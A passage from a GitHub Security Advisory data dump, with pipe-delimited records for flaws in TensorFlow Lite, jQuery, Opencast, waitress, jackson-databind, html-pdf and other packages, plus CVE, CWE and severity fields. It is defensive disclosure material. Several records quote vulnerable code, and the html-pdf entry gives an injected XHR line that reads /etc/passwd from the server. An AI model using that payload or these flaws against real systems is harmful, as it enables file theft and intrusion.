if (axis < 0) {
axis = input_dims.size + 1 + axis;
}
TF_LITE_ENSURE(context, axis <= input_dims.size);
TfLiteIntArray* output_dims = TfLiteIntArrayCreate(input_dims.size + 1);
for (int i = 0; i < output_dims->size; ++i) {
if (i < axis) {
output_dims->data[i] = input_dims.data[i];
} else if (i == axis) {
output_dims->data[i] = 1;
} else {
output_dims->data[i] = input_dims.data[i - 1];
}
}
```
If `axis` is a large negative value (e.g., `-100000`), then after the first `if` it would still be negative. The check following the `if` statement will pass and the `for` loop would read one element before the start of `input_dims.data` (when `i = 0`).
### Patches
We have patched the issue in GitHub commit [d94ffe08a65400f898241c0374e9edc6fa8ed257](https://github.com/tensorflow/tensorflow/commit/d94ffe08a65400f898241c0374e9edc6fa8ed257).
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang of Baidu Security. | {'CVE-2021-37685'} | 2021-08-25T14:40:09Z | 2021-08-25T14:40:09Z | MODERATE | 5.5 | {'CWE-125'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c545-c4f9-rf6v', 'https://github.com/tensorflow/tensorflow/commit/d94ffe08a65400f898241c0374e9edc6fa8ed257', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37685', 'https://github.com/advisories/GHSA-c545-c4f9-rf6v'} | null | {'https://github.com/tensorflow/tensorflow/commit/d94ffe08a65400f898241c0374e9edc6fa8ed257'} | {'https://github.com/tensorflow/tensorflow/commit/d94ffe08a65400f898241c0374e9edc6fa8ed257'} |
GHSA | GHSA-jpj5-hg26-6jgc | Cross-site Scripting in Alist | Alist versions 2.0.10 through 2.1.0 were discovered to contain a cross-site scripting (XSS) vulnerability via /i/:data/ipa.plist. This issue was fixed in version 2.1.1. | {'CVE-2022-26533'} | 2022-03-23T15:50:07Z | 2022-03-13T00:00:54Z | MODERATE | 6.1 | {'CWE-79'} | {'https://github.com/advisories/GHSA-jpj5-hg26-6jgc', 'https://github.com/Xhofe/alist/issues/645', 'https://nvd.nist.gov/vuln/detail/CVE-2022-26533', 'https://github.com/Xhofe/alist/commit/6af17e2509a400979420f613fd7f2f9721fdcd6e'} | null | {'https://github.com/Xhofe/alist/commit/6af17e2509a400979420f613fd7f2f9721fdcd6e'} | {'https://github.com/Xhofe/alist/commit/6af17e2509a400979420f613fd7f2f9721fdcd6e'} |
GHSA | GHSA-h362-m8f2-5x7c | Password Hashing: Do not use MD5 | ### Impact
User passwords are stored in the database using the rather outdated and cryptographically insecure MD5 hash algorithm. Furthermore, the hashes are salted using the username instead of a random salt, causing hashes for users with the same username and password to collide which is problematic especially for popular users like the default `admin` user.
This essentially means that for an attacker, it might be feasible to reconstruct a user's password given access to these hashes.
Note that attackers needing access to the hashes means that they must gain access to the database in which these are stored first to be able to start cracking the passwords.
### Patches
The problem is addressed in Opencast 8.1 which now uses the modern and much stronger bcrypt password hashing algorithm for storing passwords. Note, that old hashes remain MD5 until the password is updated.
For a list of users whose password hashes are stored using MD5, take a look at the `/user-utils/users/md5.json` REST endpoint.
### Workarounds
There is no workaround.
### References
- [MD5 (Wikipedia)](https://en.wikipedia.org/wiki/MD5)
- [bcrypt (Wikipedia)](https://en.wikipedia.org/wiki/Bcrypt)
- [How weak is MD5 as a password hashing function?](https://security.stackexchange.com/q/52461)
### For more information
If you have any questions or comments about this advisory:
- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)
- For security-relevant information, email us at security@opencast.org | {'CVE-2020-5229'} | 2021-01-08T20:31:51Z | 2020-01-30T21:21:58Z | LOW | 7.7 | {'CWE-327'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-5229', 'https://github.com/opencast/opencast/commit/32bfbe5f78e214e2d589f92050228b91d704758e', 'https://github.com/advisories/GHSA-h362-m8f2-5x7c', 'https://github.com/opencast/opencast/security/advisories/GHSA-h362-m8f2-5x7c'} | null | {'https://github.com/opencast/opencast/commit/32bfbe5f78e214e2d589f92050228b91d704758e'} | {'https://github.com/opencast/opencast/commit/32bfbe5f78e214e2d589f92050228b91d704758e'} |
GHSA | GHSA-9c84-4hx6-xmm4 | Integer overflow in TFLite concatentation | ### Impact
The TFLite implementation of concatenation is [vulnerable to an integer overflow issue](https://github.com/tensorflow/tensorflow/blob/7b7352a724b690b11bfaae2cd54bc3907daf6285/tensorflow/lite/kernels/concatenation.cc#L70-L76):
```cc
for (int d = 0; d < t0->dims->size; ++d) {
if (d == axis) {
sum_axis += t->dims->data[axis];
} else {
TF_LITE_ENSURE_EQ(context, t->dims->data[d], t0->dims->data[d]);
}
}
```
An attacker can craft a model such that the dimensions of one of the concatenation input overflow the values of `int`. TFLite uses `int` to represent tensor dimensions, whereas TF uses `int64`. Hence, valid TF models can trigger an integer overflow when converted to TFLite format.
### Patches
We have patched the issue in GitHub commit [4253f96a58486ffe84b61c0415bb234a4632ee73](https://github.com/tensorflow/tensorflow/commit/4253f96a58486ffe84b61c0415bb234a4632ee73).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-29601'} | 2021-05-21T14:28:08Z | 2021-05-21T14:28:08Z | MODERATE | 6.3 | {'CWE-190'} | {'https://github.com/advisories/GHSA-9c84-4hx6-xmm4', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29601', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9c84-4hx6-xmm4', 'https://github.com/tensorflow/tensorflow/commit/4253f96a58486ffe84b61c0415bb234a4632ee73'} | null | {'https://github.com/tensorflow/tensorflow/commit/4253f96a58486ffe84b61c0415bb234a4632ee73'} | {'https://github.com/tensorflow/tensorflow/commit/4253f96a58486ffe84b61c0415bb234a4632ee73'} |
GHSA | GHSA-hpcx-3pw8-g3j2 | Free of uninitialized memory in telemetry | An issue was discovered in the telemetry crate through 0.1.2 for Rust. There is a drop of uninitialized memory if a value.clone() call panics within misc::vec_with_size(). | {'CVE-2021-29937'} | 2021-08-25T20:54:22Z | 2021-08-25T20:54:22Z | CRITICAL | 9.8 | {'CWE-908'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-29937', 'https://github.com/Yoric/telemetry.rs/commit/2820cf12f2e08645fd6d1f15b4a90a54d6082a81', 'https://rustsec.org/advisories/RUSTSEC-2021-0046.html', 'https://github.com/advisories/GHSA-hpcx-3pw8-g3j2', 'https://github.com/Yoric/telemetry.rs/issues/45'} | null | {'https://github.com/Yoric/telemetry.rs/commit/2820cf12f2e08645fd6d1f15b4a90a54d6082a81'} | {'https://github.com/Yoric/telemetry.rs/commit/2820cf12f2e08645fd6d1f15b4a90a54d6082a81'} |
GHSA | GHSA-53xj-v576-3ch2 | OS Command Injection in giting | giting version prior to 0.0.8 allows execution of arbritary commands. The first argument "repo" of function "pull()" is executed by the package without any validation. | {'CVE-2019-10802'} | 2021-04-13T15:22:09Z | 2021-04-13T15:22:09Z | HIGH | 9.8 | {'CWE-78'} | {'https://github.com/advisories/GHSA-53xj-v576-3ch2', 'https://github.com/MangoRaft/git/commit/9be41081f547d3dcef25e7d7c957bc2a3be2dfe0', 'https://snyk.io/vuln/SNYK-JS-GITING-559008', 'https://nvd.nist.gov/vuln/detail/CVE-2019-10802'} | null | {'https://github.com/MangoRaft/git/commit/9be41081f547d3dcef25e7d7c957bc2a3be2dfe0'} | {'https://github.com/MangoRaft/git/commit/9be41081f547d3dcef25e7d7c957bc2a3be2dfe0'} |
GHSA | GHSA-fcf9-3qw3-gxmj | High severity vulnerability that affects cryptography | A flaw was found in python-cryptography versions between >=1.9.0 and <2.3. The finalize_with_tag API did not enforce a minimum tag length. If a user did not validate the input length prior to passing it to finalize_with_tag an attacker could craft an invalid payload with a shortened tag (e.g. 1 byte) such that they would have a 1 in 256 chance of passing the MAC check. GCM tag forgeries can cause key leakage. | {'CVE-2018-10903'} | 2022-03-03T21:54:39Z | 2018-07-31T18:28:09Z | HIGH | 7.5 | {'CWE-20'} | {'https://github.com/pyca/cryptography/pull/4342/commits/688e0f673bfbf43fa898994326c6877f00ab19ef', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10903', 'https://nvd.nist.gov/vuln/detail/CVE-2018-10903', 'https://github.com/advisories/GHSA-fcf9-3qw3-gxmj'} | null | {'https://github.com/pyca/cryptography/pull/4342/commits/688e0f673bfbf43fa898994326c6877f00ab19ef'} | {'https://github.com/pyca/cryptography/pull/4342/commits/688e0f673bfbf43fa898994326c6877f00ab19ef'} |
GHSA | GHSA-mhhc-q96p-mfm9 | Infinite loop in TFLite | ### Impact
The strided slice implementation in TFLite has a logic bug which can allow an attacker to trigger an infinite loop. This arises from newly introduced support for [ellipsis in axis definition](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/strided_slice.cc#L103-L122):
```cc
for (int i = 0; i < effective_dims;) {
if ((1 << i) & op_context->params->ellipsis_mask) {
// ...
int ellipsis_end_idx =
std::min(i + 1 + num_add_axis + op_context->input_dims - begin_count,
effective_dims);
// ...
for (; i < ellipsis_end_idx; ++i) {
// ...
}
continue;
}
// ...
++i;
}
```
An attacker can craft a model such that `ellipsis_end_idx` is smaller than `i` (e.g., always negative). In this case, the inner loop does not increase `i` and the `continue` statement causes execution to skip over the preincrement at the end of the outer loop.
### Patches
We have patched the issue in GitHub commit [dfa22b348b70bb89d6d6ec0ff53973bacb4f4695](https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695).
The fix will be included in TensorFlow 2.6.0. This is the only affected version.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360. | {'CVE-2021-37686'} | 2021-08-25T14:39:58Z | 2021-08-25T14:39:58Z | MODERATE | 5.5 | {'CWE-835'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mhhc-q96p-mfm9', 'https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695', 'https://github.com/advisories/GHSA-mhhc-q96p-mfm9', 'https://nvd.nist.gov/vuln/detail/CVE-2021-37686', 'https://github.com/tensorflow/tensorflow/releases/tag/v2.5.1', 'https://github.com/tensorflow/tensorflow/releases/tag/v2.3.4', 'https://github.com/tensorflow/tensorflow/releases/tag/v2.4.3', 'https://github.com/tensorflow/tensorflow/releases/tag/v2.6.0'} | null | {'https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695'} | {'https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695'} |
GHSA | GHSA-g4w7-3qr8-5623 | Improper type usage in rusqlite | An issue was discovered in the rusqlite crate before 0.23.0 for Rust. Memory safety can be violated via the repr(Rust) type. | {'CVE-2020-35872'} | 2021-08-25T20:47:01Z | 2021-08-25T20:47:01Z | CRITICAL | 9.8 | {'CWE-351'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-35872', 'https://github.com/rusqlite/rusqlite/releases/tag/0.23.0', 'https://github.com/rusqlite/rusqlite/commit/71b2f5187b0cbace3f8b6ff53432ff2ca0defcf0', 'https://rustsec.org/advisories/RUSTSEC-2020-0014.html', 'https://github.com/advisories/GHSA-g4w7-3qr8-5623'} | null | {'https://github.com/rusqlite/rusqlite/commit/71b2f5187b0cbace3f8b6ff53432ff2ca0defcf0'} | {'https://github.com/rusqlite/rusqlite/commit/71b2f5187b0cbace3f8b6ff53432ff2ca0defcf0'} |
GHSA | GHSA-cf6r-3wgc-h863 | Polymorphic deserialization of malicious object in jackson-databind | A flaw was discovered in jackson-databind in versions before 2.9.10, 2.8.11.5 and 2.6.7.3, where it would permit polymorphic deserialization of a malicious object using commons-configuration 1 and 2 JNDI classes. An attacker could use this flaw to execute arbitrary code. | {'CVE-2019-14892'} | 2021-04-27T19:44:30Z | 2020-05-15T18:58:58Z | HIGH | 7.5 | {'CWE-502'} | {'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14892', 'https://access.redhat.com/errata/RHSA-2020:0729', 'https://github.com/advisories/GHSA-cf6r-3wgc-h863', 'https://lists.apache.org/thread.html/r1b103833cb5bc8466e24ff0ecc5e75b45a705334ab6a444e64e840a0@%3Cissues.bookkeeper.apache.org%3E', 'https://github.com/FasterXML/jackson-databind/commit/41b7f9b90149e9d44a65a8261a8deedc7186f6af', 'https://lists.apache.org/thread.html/rf1bbc0ea4a9f014cf94df9a12a6477d24a27f52741dbc87f2fd52ff2@%3Cissues.geode.apache.org%3E', 'https://github.com/FasterXML/jackson-databind/commit/819cdbcab51c6da9fb896380f2d46e9b7d4fdc3b', 'https://security.netapp.com/advisory/ntap-20200904-0005/', 'https://nvd.nist.gov/vuln/detail/CVE-2019-14892', 'https://github.com/FasterXML/jackson-databind/issues/2462'} | null | {'https://github.com/FasterXML/jackson-databind/commit/819cdbcab51c6da9fb896380f2d46e9b7d4fdc3b', 'https://github.com/FasterXML/jackson-databind/commit/41b7f9b90149e9d44a65a8261a8deedc7186f6af'} | {'https://github.com/FasterXML/jackson-databind/commit/819cdbcab51c6da9fb896380f2d46e9b7d4fdc3b', 'https://github.com/FasterXML/jackson-databind/commit/41b7f9b90149e9d44a65a8261a8deedc7186f6af'} |
GHSA | GHSA-rmxg-73gg-4p98 | Cross-Site Scripting (XSS) in jquery | Affected versions of `jquery` interpret `text/javascript` responses from cross-origin ajax requests, and automatically execute the contents in `jQuery.globalEval`, even when the ajax request doesn't contain the `dataType` option.
## Recommendation
Update to version 3.0.0 or later. | {'CVE-2015-9251'} | 2021-09-17T18:58:20Z | 2018-01-22T13:32:06Z | MODERATE | 6.1 | {'CWE-79'} | {'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html', 'https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html', 'https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E', 'https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E', 'http://packetstormsecurity.com/files/153237/RetireJS-CORS-Issue-Script-Execution.html', 'https://snyk.io/vuln/npm:jquery:20150627', 'https://github.com/jquery/jquery/commit/f60729f3903d17917dc351f3ac87794de379b0cc', 'http://seclists.org/fulldisclosure/2019/May/11', 'https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html', 'https://nvd.nist.gov/vuln/detail/CVE-2015-9251', 'http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html', 'https://github.com/jquery/jquery/pull/2588/commits/c254d308a7d3f1eac4d0b42837804cfffcba4bb2', 'https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E', 'http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00041.html', 'https://www.oracle.com/security-alerts/cpujan2020.html', 'https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html', 'https://sw.aveva.com/hubfs/assets-2018/pdf/security-bulletin/SecurityBulletin_LFSec126.pdf', 'http://packetstormsecurity.com/files/152787/dotCMS-5.1.1-Vulnerable-Dependencies.html', 'https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E', 'https://seclists.org/bugtraq/2019/May/18', 'https://github.com/jquery/jquery/issues/2432', 'https://lists.apache.org/thread.html/ba79cf1658741e9f146e4c59b50aee56656ea95d841d358d006c18b6@%3Ccommits.roller.apache.org%3E', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601', 'https://www.oracle.com/security-alerts/cpuoct2020.html', 'https://security.netapp.com/advisory/ntap-20210108-0004/', 'http://www.securityfocus.com/bid/105658', 'http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html', 'http://seclists.org/fulldisclosure/2019/May/10', 'https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E', 'https://www.npmjs.com/advisories/328', 'https://github.com/jquery/jquery/commit/b078a62013782c7424a4a61a240c23c4c0b42614', 'https://access.redhat.com/errata/RHSA-2020:0729', 'https://access.redhat.com/errata/RHSA-2020:0481', 'https://www.oracle.com/security-alerts/cpuapr2020.html', 'https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-212-04', 'https://www.oracle.com/security-alerts/cpujul2020.html', 'https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E', 'https://github.com/jquery/jquery/pull/2588', 'https://github.com/advisories/GHSA-rmxg-73gg-4p98', 'http://seclists.org/fulldisclosure/2019/May/13', 'https://www.tenable.com/security/tns-2019-08'} | null | {'https://github.com/jquery/jquery/commit/b078a62013782c7424a4a61a240c23c4c0b42614', 'https://github.com/jquery/jquery/pull/2588/commits/c254d308a7d3f1eac4d0b42837804cfffcba4bb2', 'https://github.com/jquery/jquery/commit/f60729f3903d17917dc351f3ac87794de379b0cc'} | {'https://github.com/jquery/jquery/pull/2588/commits/c254d308a7d3f1eac4d0b42837804cfffcba4bb2', 'https://github.com/jquery/jquery/commit/b078a62013782c7424a4a61a240c23c4c0b42614', 'https://github.com/jquery/jquery/commit/f60729f3903d17917dc351f3ac87794de379b0cc'} |
GHSA | GHSA-wxhq-pm8v-cw75 | Regular Expression Denial of Service in clean-css | Version of `clean-css` prior to 4.1.11 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.
## Recommendation
Upgrade to version 4.1.11 or higher. | null | 2022-04-19T19:03:26Z | 2019-06-05T20:50:16Z | LOW | 0 | null | {'https://github.com/advisories/GHSA-wxhq-pm8v-cw75', 'https://www.npmjs.com/advisories/785', 'https://github.com/jakubpawlowicz/clean-css/commit/2929bafbf8cdf7dccb24e0949c70833764fa87e3'} | null | {'https://github.com/jakubpawlowicz/clean-css/commit/2929bafbf8cdf7dccb24e0949c70833764fa87e3'} | {'https://github.com/jakubpawlowicz/clean-css/commit/2929bafbf8cdf7dccb24e0949c70833764fa87e3'} |
GHSA | GHSA-5vp3-v4hc-gx76 | UUPSUpgradeable vulnerability in @openzeppelin/contracts | ### Impact
Upgradeable contracts using `UUPSUpgradeable` may be vulnerable to an attack affecting uninitialized implementation contracts. We will update this advisory with more information soon.
### Patches
A fix is included in version 4.3.2 of `@openzeppelin/contracts` and `@openzeppelin/contracts-upgradeable`.
### Workarounds
Initialize implementation contracts using `UUPSUpgradeable` by invoking the initializer function (usually called `initialize`). An example is provided [in the forum](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301).
### References
[Post-mortem](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680).
### For more information
If you have any questions or comments about this advisory, or need assistance executing the mitigation, email us at security@openzeppelin.com. | {'CVE-2021-41264'} | 2021-11-16T21:44:48Z | 2021-09-15T20:23:17Z | CRITICAL | 9.8 | {'CWE-665'} | {'https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41264', 'https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-5vp3-v4hc-gx76', 'https://github.com/advisories/GHSA-5vp3-v4hc-gx76', 'https://github.com/OpenZeppelin/openzeppelin-contracts/commit/024cc50df478d2e8f78539819749e94d6df60592'} | null | {'https://github.com/OpenZeppelin/openzeppelin-contracts/commit/024cc50df478d2e8f78539819749e94d6df60592'} | {'https://github.com/OpenZeppelin/openzeppelin-contracts/commit/024cc50df478d2e8f78539819749e94d6df60592'} |
GHSA | GHSA-cf66-xwfp-gvc4 | Missing Origin Validation in webpack-dev-server | Versions of `webpack-dev-server` before 3.1.10 are missing origin validation on the websocket server. This vulnerability allows a remote attacker to steal a developer's source code because the origin of requests to the websocket server that is used for Hot Module Replacement (HMR) are not validated.
## Recommendation
For `webpack-dev-server` update to version 3.1.11 or later. | {'CVE-2018-14732'} | 2022-04-06T20:40:37Z | 2019-01-04T17:40:59Z | HIGH | 7.5 | {'CWE-20'} | {'https://github.com/webpack/webpack-dev-server/commit/f18e5adf123221a1015be63e1ca2491ca45b8d10', 'https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#3111-2018-12-21', 'https://github.com/webpack/webpack-dev-server/issues/1620', 'https://www.npmjs.com/advisories/725', 'https://github.com/webpack/webpack-dev-server/issues/1445', 'https://nvd.nist.gov/vuln/detail/CVE-2018-14732', 'https://github.com/advisories/GHSA-cf66-xwfp-gvc4'} | null | {'https://github.com/webpack/webpack-dev-server/commit/f18e5adf123221a1015be63e1ca2491ca45b8d10'} | {'https://github.com/webpack/webpack-dev-server/commit/f18e5adf123221a1015be63e1ca2491ca45b8d10'} |
GHSA | GHSA-7359-3c6r-hfc2 | Improper Certificate Validation in oauth ruby gem | lib/oauth/consumer.rb in the oauth-ruby gem through 0.5.4 for Ruby does not verify server X.509 certificates if a certificate bundle cannot be found, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information. | {'CVE-2016-11086'} | 2021-10-05T16:25:55Z | 2021-04-22T16:22:15Z | HIGH | 7.4 | {'CWE-295'} | {'https://github.com/advisories/GHSA-7359-3c6r-hfc2', 'https://github.com/oauth-xx/oauth-ruby/commit/eb5b00a91d4ef0899082fdba929c34ccad6d4ccb', 'https://nvd.nist.gov/vuln/detail/CVE-2016-11086', 'https://github.com/oauth-xx/oauth-ruby/issues/137', 'https://rubygems.org/gems/oauth', 'https://github.com/oauth-xx/oauth-ruby/releases/tag/v0.5.5'} | null | {'https://github.com/oauth-xx/oauth-ruby/commit/eb5b00a91d4ef0899082fdba929c34ccad6d4ccb'} | {'https://github.com/oauth-xx/oauth-ruby/commit/eb5b00a91d4ef0899082fdba929c34ccad6d4ccb'} |
GHSA | GHSA-mh8g-hprg-8363 | Hard-Coded Key Used For Remember-me Token in Opencast | ### Impact
The security configuration in `etc/security/mh_default_org.xml` enables a remember-me cookie based on a hash created from the [username, password, and an additional system key](https://docs.spring.io/spring-security/site/docs/3.0.x/reference/remember-me.html). Opencast has hard-coded this system key in the large XML file and never mentions to change this, basically ensuring that all systems use the same key:
```xml
<sec:remember-me key="opencast" user-service-ref="userDetailsService" />
```
This means that an attacker getting access to a remember-me token for one server can get access to all servers which allow log-in using the same credentials without ever needing the credentials. For example, a remember-me token obtained from develop.opencast.org can be used on stable.opencast.org without actually knowing the log-in credentials.
Such an attack will usually not work on different installations – assuming that safe, unique passwords are used – but it is basically guaranteed to work to get access to all machines of one cluster if a token from one machine is compromised.
### Patches
This problem is fixed in Opencast 7.6 and Opencast 8.1
### Workarounds
We strongly recommend updating to the patched version. Still, as a workaround for older versions, in `etc/security/mh_default_org.xml`, set a custom key for each server:
```xml
<sec:remember-me key="CUSTOM_RANDOM_KEY" user-service-ref="userDetailsService" />
```
### References
- [Relevant lines in the security configuration](https://github.com/opencast/opencast/blob/161ee619382f144dc35eea211fc6b556025b98e1/etc/security/mh_default_org.xml#L335-L336)
- [Spring Security Remember-Me Authentication Documentation](https://docs.spring.io/spring-security/site/docs/3.0.x/reference/remember-me.html#remember-me-hash-token)
### For more information
If you have any questions or comments about this advisory:
- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)
- For security-relevant information, email us at [security@opencast.org](mailto:security@opencast.org)
### Thanks
Thanks to @LukasKalbertodt for reporting the issue. | {'CVE-2020-5222'} | 2022-04-19T19:02:24Z | 2020-01-30T21:21:44Z | MODERATE | 6.8 | {'CWE-798'} | {'https://github.com/advisories/GHSA-mh8g-hprg-8363', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5222', 'https://github.com/opencast/opencast/commit/1a7172c95af8d542a77ae5b153e4c834dd4788a6', 'https://github.com/opencast/opencast/security/advisories/GHSA-mh8g-hprg-8363'} | null | {'https://github.com/opencast/opencast/commit/1a7172c95af8d542a77ae5b153e4c834dd4788a6'} | {'https://github.com/opencast/opencast/commit/1a7172c95af8d542a77ae5b153e4c834dd4788a6'} |
GHSA | GHSA-4f7p-27jc-3c36 | HTTP Request Smuggling in waitress | ### Impact
When using Waitress behind a proxy that does not properly validate the incoming HTTP request matches the RFC7230 standard, Waitress and the frontend proxy may disagree on where one request starts and where it ends.
This would allow requests to be smuggled via the front-end proxy to waitress and later behavior.
There are two classes of vulnerability that may lead to request smuggling that are addressed by this advisory:
- The use of Python's `int()` to parse strings into integers, leading to `+10` to be parsed as `10`, or `0x01` to be parsed as `1`, where as the standard specifies that the string should contain only digits or hex digits.
- Waitress does not support chunk extensions, however it was discarding them without validating that they did not contain illegal characters
### Patches
This has been fixed in Waitress 2.1.1
### Workarounds
When deploying a proxy in front of waitress, turning on any and all functionality to make sure that the request matches the RFC7230 standard. Certain proxy servers may not have this functionality though and users are encouraged to upgrade to the latest version of waitress instead.
### References
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the Github issue tracker](https://github.com/Pylons/waitress/issues) (if not security related/sensitive)
* Email us at [pylons-project-security@googlegroups.com](mailto:pylons-project-security@googlegroups.com) (If security related or sensitive)
| {'CVE-2022-24761'} | 2022-03-21T22:15:26Z | 2022-03-18T19:00:59Z | HIGH | 7.5 | {'CWE-444'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-24761', 'https://github.com/advisories/GHSA-4f7p-27jc-3c36', 'https://github.com/Pylons/waitress/commit/9e0b8c801e4d505c2ffc91b891af4ba48af715e0', 'https://github.com/Pylons/waitress/security/advisories/GHSA-4f7p-27jc-3c36', 'https://github.com/Pylons/waitress/releases/tag/v2.1.1'} | null | {'https://github.com/Pylons/waitress/commit/9e0b8c801e4d505c2ffc91b891af4ba48af715e0'} | {'https://github.com/Pylons/waitress/commit/9e0b8c801e4d505c2ffc91b891af4ba48af715e0'} |
GHSA | GHSA-8p36-q63g-68qh | Autobinding vulnerability in MITREid Connect | org/mitre/oauth2/web/OAuthConfirmationController.java in the OpenID Connect server implementation for MITREid Connect through 1.3.3 contains a Mass Assignment (aka Autobinding) vulnerability. This arises due to unsafe usage of the @ModelAttribute annotation during the OAuth authorization flow, in which HTTP request parameters affect an authorizationRequest. | {'CVE-2021-27582'} | 2021-05-13T22:31:22Z | 2021-05-13T22:31:22Z | CRITICAL | 9.1 | {'CWE-915'} | {'http://agrrrdog.blogspot.com/2017/03/autobinding-vulns-and-spring-mvc.html', 'https://portswigger.net/research/hidden-oauth-attack-vectors', 'https://github.com/mitreid-connect/OpenID-Connect-Java-Spring-Server/commit/7eba3c12fed82388f917e8dd9b73e86e3a311e4c', 'https://github.com/advisories/GHSA-8p36-q63g-68qh', 'https://nvd.nist.gov/vuln/detail/CVE-2021-27582'} | null | {'https://github.com/mitreid-connect/OpenID-Connect-Java-Spring-Server/commit/7eba3c12fed82388f917e8dd9b73e86e3a311e4c'} | {'https://github.com/mitreid-connect/OpenID-Connect-Java-Spring-Server/commit/7eba3c12fed82388f917e8dd9b73e86e3a311e4c'} |
GHSA | GHSA-x4w5-r546-x9qh | Arbitrary File Read in html-pdf | All versions of `html-pdf` are vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as `request.open("GET","file:///etc/passwd")` will result in a PDF document with the contents of `/etc/passwd`.
## Recommendation
No fix is currently available. There is a mitigation available in the provided reference. | {'CVE-2019-15138'} | 2022-01-04T19:51:52Z | 2019-10-11T18:40:38Z | HIGH | 7.5 | {'CWE-200', 'CWE-668', 'CWE-73', 'CWE-79'} | {'https://security.netapp.com/advisory/ntap-20191017-0005/', 'https://github.com/marcbachmann/node-html-pdf/commit/c12d6977778014139183c9f8da7579fd7ac65362', 'https://github.com/marcbachmann/node-html-pdf/releases/tag/v3.0.1', 'https://www.npmjs.com/advisories/1095', 'https://nvd.nist.gov/vuln/detail/CVE-2019-15138', 'https://github.com/advisories/GHSA-x4w5-r546-x9qh', 'https://github.com/marcbachmann/node-html-pdf/issues/530', 'https://github.com/marcbachmann/node-html-pdf/issues/530#issuecomment-535045123'} | null | {'https://github.com/marcbachmann/node-html-pdf/commit/c12d6977778014139183c9f8da7579fd7ac65362'} | {'https://github.com/marcbachmann/node-html-pdf/commit/c12d6977778014139183c9f8da7579fd7ac65362'} |
GHSA | GHSA-2p5p-m353-833w | Sort order SQL injection in Administrate | In Administrate (rubygem) before version 0.13.0, when sorting by attributes on a dashboard,
the direction parameter was not validated before being interpolated into the SQL query.
This could present a SQL injection if the attacker were able to modify the `direction` parameter and bypass ActiveRecord SQL protections.
